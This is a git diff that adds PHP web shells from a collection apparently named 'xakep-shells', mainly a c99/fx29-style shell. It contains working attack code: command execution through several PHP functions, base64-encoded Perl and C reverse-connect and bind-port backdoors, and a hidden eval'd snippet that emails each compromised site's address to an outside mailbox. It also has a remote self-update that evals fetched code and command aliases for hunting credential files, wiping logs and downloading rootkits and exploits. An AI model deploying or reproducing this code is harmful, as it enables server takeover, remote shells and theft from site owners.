+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+";
+?>[ Special 99 Shell
+v1.0 || Developing by
+
+ฬaђเtє_ฬ๏lŦ
+||
+Caspian-Pirates.OrG ]
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/SsEs.php.php.txt b/xakep-shells/PHP/SsEs.php.php.txt
new file mode 100644
index 0000000..32ea97f
--- /dev/null
+++ b/xakep-shells/PHP/SsEs.php.php.txt
@@ -0,0 +1,3309 @@
+
+'.getenv("HTTP_HOST").' - '.$sh_name.'
+
+
+
+';
+//Authentication
+$login = "";
+$pass = "";
+$md5_pass = ""; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).
+$host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1")
+$login_txt = "Restricted Area"; //Pesan HTTP-Auth
+$accessdeniedmess = "".$sh_name." : access denied";
+$gzipencode = TRUE;
+$updatenow = FALSE; //Jika TRUE, update shell sekarang.
+$c99sh_updateurl = $sh_mainurl."
+_update.php";
+$c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt";
+//$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php";
+//$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt";
+$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
+$curdir = "./";
+$tmpdir = "";
+$tmpdir_log = "./";
+$log_email = "q.dhie@yahoo.com"; //email untuk pengiriman log.
+$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
+$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.
+$sess_cookie = "c99shvars"; //Nama variabel Cookie
+$usefsbuff = TRUE; //Buffer-function
+$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
+$hexdump_lines = 8;
+$hexdump_rows = 24;
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc)) {
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+//Functions
+function get_phpini() {
+ function U_wordwrap($str) {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+ function U_value($value) {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value)) {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+ if (@function_exists('ini_get_all')) {
+ $r = "";
+ echo "";
+ foreach (@ini_get_all() as $key=>$value) {
+ $r .= "".$key." ".U_value($value['local_value'])."
".U_value($value['global_value'])."
";
+ }
+ echo $r;
+ echo "
";
+ }
+}
+function disp_drives($curdir,$surl) {
+ $letters = "";
+ $v = explode("\\",$curdir);
+ $v = $v[0];
+ foreach (range("A","Z") as $letter) {
+ $bool = $isdiskette = $letter == "A";
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool) {
+ $letters .= " [";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= "] ";
+ }
+ }
+ if (!empty($letters)) {Return $letters;}
+ else {Return "None";}
+}
+if (is_callable("disk_free_space")) {
+ function disp_freespace($curdrv) {
+ $free = disk_free_space($curdrv);
+ $total = disk_total_space($curdrv);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2)."%";
+ $free = view_size($free);
+ $total = view_size($total);
+ return "$free of $total ($free_percent)";
+ }
+}
+//w4ck1ng Shell
+if (!function_exists("myshellexec")) {
+ if(is_callable("popen")) {
+ function myshellexec($cmd) {
+ if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
+ while (!feof($p)) {
+ $line=fgets($p,1024);
+ $out .= $line;
+ }
+ pclose($p);
+ return $out;
+ }
+ } else {
+ function myshellexec($cmd) {
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd)) {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {
+ exec($cmd,$result);
+ $result = join("\n",$result);
+ } elseif (($result = $cmd) !== FALSE) {
+ } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
+ $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
+ } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
+ $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
+ } elseif (is_resource($fp = popen($cmd,"r"))) {
+ $result = "";
+ while(!feof($fp)) { $result .= fread($fp,1024); }
+ pclose($fp);
+ }
+ }
+ return $result;
+ }
+ }
+}
+function ex($cfe) {
+ $res = '';
+ if (!empty($cfe)) {
+ if(function_exists('exec')) {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ } elseif(function_exists('shell_exec')) {
+ $res = @shell_exec($cfe);
+ } elseif(function_exists('system')) {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ } elseif(function_exists('passthru')) {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ } elseif(@is_resource($f = @popen($cfe,"r"))) {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ } else { $res = "Ex() Disabled!"; }
+ }
+ return $res;
+}
+function which($pr) {
+ $path = ex("which $pr");
+ if(!empty($path)) { return $path; } else { return $pr; }
+}
+//End of w4ck1ng Shell
+
+//Start Enumerate function
+$hostname_x = php_uname(n);
+$itshome = getcwd();
+if (!$win) {
+ $itshome = str_replace("/home/","~",$itshome);
+ $itshome = str_replace("/public_html","/fx29sh.php",$itshome);
+}
+else { $itshome = ""; }
+$enumerate = "http://".$hostname_x."/".$itshome."";
+//End Enumerate function
+
+//milw0rm search
+$Lversion = php_uname(r);
+$OSV = php_uname(s);
+if(eregi("Linux",$OSV)) {
+ $Lversion=substr($Lversion,0,6);
+ $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
+} else {
+ $Lversion=substr($Lversion,0,3);
+ $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
+}
+//End of milw0rm search
+
+//Backdoor
+$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3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aBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOjz/f//g8QIjQQDQFCLRQyDwAT/MOgu/v//g8QQg+wEagZqAWoC6G3+//+DxBCJReSD7ARqEI1FyFD/deToRv7//4PEEIXAeRqD7AxoCYkECOhy/f//g8QQg+wMagDo9f3//4PsCItFDP8wjUWoUOjE/f//g8QQg+wMjUWoUOhV/f//g8QQg+wIagD/deTolf3//4PEEIPsCGoB/3Xk6IX9//+DxBCD7AhqAv915Oh1/f//g8QQg+wEagBoF4kECGgdiQQI6N78//+DxBCD7Az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AOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP///42TIP///4lF8CnQ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{
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file) {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text) {
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file) {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function err() { $_POST['backcconnmsge']="Error:
Can't connect!"; }
+function bberr() { $_POST['backcconnmsge']="Error:
Can't backdoor host!"; }
+
+if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
+ $ip = gethostbyname($_SERVER["HTTP_HOST"]);
+ $por = $_POST['backconnectport'];
+ if (is_writable(".")) {
+ cfb("shbd",$backdoor);
+ ex("chmod 777 shbd");
+ $cmd = "./shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ } else {
+ cfb("/tmp/shbd",$backdoor);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ }
+ if (eregi("./shbd $por",$scan)) {
+ $data = ("\n Backdoor setup successfully.");
+ } else {
+ $data = ("\n Process not found, backdoor setup failed!");
+ }
+ $_POST['backcconnmsg']="To connect, use netcat! Usage: 'nc $ip $por' .$data";
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
+ if (is_writable(".")) {
+ cf("back",$back_connect_pl);
+ $p2 = which("perl");
+ $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("back")) { unlink("back"); }
+ } else {
+ cf("/tmp/back",$back_connect_pl);
+ $p2 = which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+ }
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
+ if (is_writable(".")) {
+ cf("backc",$back_connect_c);
+ ex("chmod 777 backc");
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("backc")) { unlink("backc"); }
+ } else {
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$back_connect_c);
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
+ }
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+}
+//End of Backdoor
+
+//Starting calls
+@ini_set("max_execution_time",0);
+if (!function_exists("getmicrotime")) {
+ function getmicrotime() {
+ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
+ }
+}
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+define("starttime",getmicrotime());
+$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
+if (get_magic_quotes_gpc()) {
+ if (!function_exists("strips")) {
+ function strips(&$arr,$k="") {
+ if (is_array($arr)) {
+ foreach($arr as $k=>$v) {
+ if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
+ }
+ } else {$arr = stripslashes($arr);}
+ }
+ }
+ strips($GLOBALS);
+}
+//CONFIGURATIONS
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
+if ($surl_autofill_include) {
+ $include = "&";
+ foreach (explode("&",getenv("QUERY_STRING")) as $v) {
+ $v = explode("=",$v);
+ $name = urldecode($v[0]);
+ $value = urldecode($v[1]);
+ foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
+ if (strpos($value,$needle) === 0) {
+ $includestr .= urlencode($name)."=".urlencode($value)."&";
+ }
+ }
+ }
+}
+if (empty($surl)) {
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+
+// Registered file-types.
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf","conf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+//Registered executable file-types.
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+//Highlighted files.
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "),
+ array("\.tgz$",1,""," "),
+ array("\.gz$",1,""," "),
+ array("\.tar$",1,""," "),
+ array("\.bz2$",1,""," "),
+ array("\.zip$",1,""," "),
+ array("\.rar$",1,""," "),
+ array("\.php$",1,""," "),
+ array("\.php3$",1,""," "),
+ array("\.php4$",1,""," "),
+ array("\.jpg$",1,""," "),
+ array("\.jpeg$",1,""," "),
+ array("\.JPG$",1,""," "),
+ array("\.JPEG$",1,""," "),
+ array("\.ico$",1,""," "),
+ array("\.gif$",1,""," "),
+ array("\.png$",1,""," "),
+ array("\.htm$",1,""," "),
+ array("\.html$",1,""," "),
+ array("\.txt$",1,""," ")
+);
+//Command Aliases
+if (!$win) {
+ $cmdaliases = array(
+ array("", "ls -al"),
+ array("Find all suid files", "find / -type f -perm -04000 -ls"),
+ array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("Find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("Find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("Find config* files", "find / -type f -name \"config*\""),
+ array("Find config* files in current dir", "find . -type f -name \"config*\""),
+ array("Find all writable folders and files", "find / -perm -2 -ls"),
+ array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("Find all writable folders", "find / -type d -perm -2 -ls"),
+ array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
+ array("Find all service.pwd files", "find / -type f -name service.pwd"),
+ array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("Find all .bash_history files", "find / -type f -name .bash_history"),
+ array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("List file attributes on a Linux second extended file system", "lsattr -va"),
+ array("Show opened ports", "netstat -an | grep -i listen")
+ );
+ $cmdaliases2 = array(
+ array("wget & extract psyBNC","wget ".$sh_mainurl."dQ.tgz;tar -zxf dQ.tgz"),
+ array("wget & extract EggDrop","wget ".$sh_mainurl."dQB.tgz;tar -zxf dQB.tgz"),
+ array("-----",""),
+ array("Logged in users","w"),
+ array("Last to connect","lastlog"),
+ array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
+ array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
+ array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
+ array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
+ array("CPU Info","cat /proc/version /proc/cpuinfo"),
+ array("Is gcc installed ?","locate gcc"),
+ array("Format box (DANGEROUS)","rm -Rf"),
+ array("-----",""),
+ array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
+ array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
+ array("Run WIPELOGS PT3","./zap2"),
+ array("-----",""),
+ array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
+ array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind
+;tar -zxvf bind.tar.gz;./4877"),
+ array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
+ );
+}
+else {
+ $cmdaliases = array(
+ array("", "dir"),
+ array("Find index.php in current dir", "dir /s /w /b index.php"),
+ array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
+ array("Find c99shell in current dir", "find /c \"c99\" *"),
+ array("Find r57shell in current dir", "find /c \"r57\" *"),
+ array("Show active connections", "netstat -an"),
+ array("Show running services", "net start"),
+ array("User accounts", "net user"),
+ array("Show computers", "net view"),
+ );
+}
+//PHP Filesystem Functions, dhie-Q TriCkz
+$phpfsaliases = array(
+ array("Read File", "read"),
+ array("Write File (PHP5)", "write"),
+ array("Copy", "copy"),
+ array("Rename/Move", "rename"),
+ array("Delete", "delete"),
+ array("Make Dir","mkdir"),
+ array("-----", ""),
+ array("Download", "download"),
+ array("Download (Binary Safe)", "downloadbin"),
+ array("Change Perm (0755)", "chmod"),
+ array("Find Writable Dir", "fwritabledir"),
+ array("Find Pathname Pattern", "glob"),
+);
+
+//Quick launch
+$quicklaunch1 = array(
+ array(" ",$surl),
+ array(" ","#\" onclick=\"history.back(1)"),
+ array(" ","#\" onclick=\"history.go(1)"),
+ array(" ",$surl."act=ls&d=%upd&sort=%sort"),
+ array(" ",$surl."act=search&d=%d"),
+ array(" ",$surl."act=fsbuff&d=%d")
+);
+$quicklaunch2 = array(
+ array("Enumerate",$enumerate),
+ array("Security Info",$surl."act=security&d=%d"),
+ array("Processes",$surl."act=processes&d=%d"),
+ array("MySQL",$surl."act=sql&d=%d"),
+ array("PHP-Code",$surl."act=eval&d=%d"),
+ array("Encoder",$surl."act=encoder&d=%d"),
+ array("Mailer",$surl."act=fxmailer"),
+ array("milw0rm it!",$millink),
+ array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
+ array("Word-Lists","http://darkc0de.com/wordlists/"),
+ array("Toolz",$surl."act=tools&d=%d"),
+ array("Self-Kill",$surl."act=selfremove"),
+ array("Feedback",$surl."act=feedback"),
+ array("Update",$surl."act=update"),
+ array("About",$surl."act=about")
+);
+
+if (!$win) {
+$quicklaunch2[] = array(" FTP-Brute",$surl."act=ftpquickbrute&d=%d");
+$quicklaunch2[] = array("Backdoor",$surl."act=shbd");
+$quicklaunch2[] = array("Back-Connect",$surl."act=backc");
+}
+
+//Highlight-code colors
+$highlight_background = "#C0C0C0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+//END OF CONFIGURATIONS
+
+//STOP EDITING!
+
+//Authentication
+@set_time_limit(0);
+$tmp = array();
+foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
+ exit("$sh_name : Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
+}
+if (!empty($login)) {
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
+ header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img") {
+ $lastdir = realpath(".");
+ chdir($curdir);
+ if ($selfwrite or $updatenow) {
+ @ob_clean();
+ c99sh_getupdate($selfwrite,1);
+ exit;
+ }
+ $sess_data = unserialize($_COOKIE["$sess_cookie"]);
+ if (!is_array($sess_data)) {$sess_data = array();}
+ if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+ if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+ if (!function_exists("c99getsource")) {
+ function c99getsource($fn) {
+ global $c99sh_sourcesurl;
+ $array = array(
+ "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
+ "c99sh_bindport.c" => "c99sh_bindport_c.txt",
+ "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
+ "c99sh_backconn.c" => "c99sh_backconn_c.txt",
+ "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
+ "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("c99sh_getupdate")) {
+ function c99sh_getupdate($update = TRUE) {
+ $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
+ $data = @file_get_contents($url);
+ if (!$data) {return "Can't connect to update-server!";}
+ else {
+ $data = ltrim($data);
+ $string = substr($data,3,ord($data{2}));
+ if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
+ if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
+ if ($data{0} == "\x99" and $data{1} == "\x03") {
+ $string = explode("|",$string);
+ if ($update) {
+ $confvars = array();
+ $sourceurl = $string[0];
+ $source = file_get_contents($sourceurl);
+ if (!$source) {return "Can't fetch update!";}
+ else {
+ $fp = fopen(__FILE__,"w");
+ if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually here .";}
+ else {
+ fwrite($fp,$source);
+ fclose($fp);
+ return "Thanks! Update completed.";
+ }
+ }
+ }
+ else {return "New version are available: ".$string[1];}
+ }
+ elseif ($data{0} == "\x99" and $data{1} == "\x04") {
+ eval($string);
+ return 1;
+ }
+ else {return "Error in protocol: segmentation failed! (".$data.") ";}
+ }
+ }
+ }
+ if (!function_exists("c99_buff_prepare")) {
+ function c99_buff_prepare() {
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
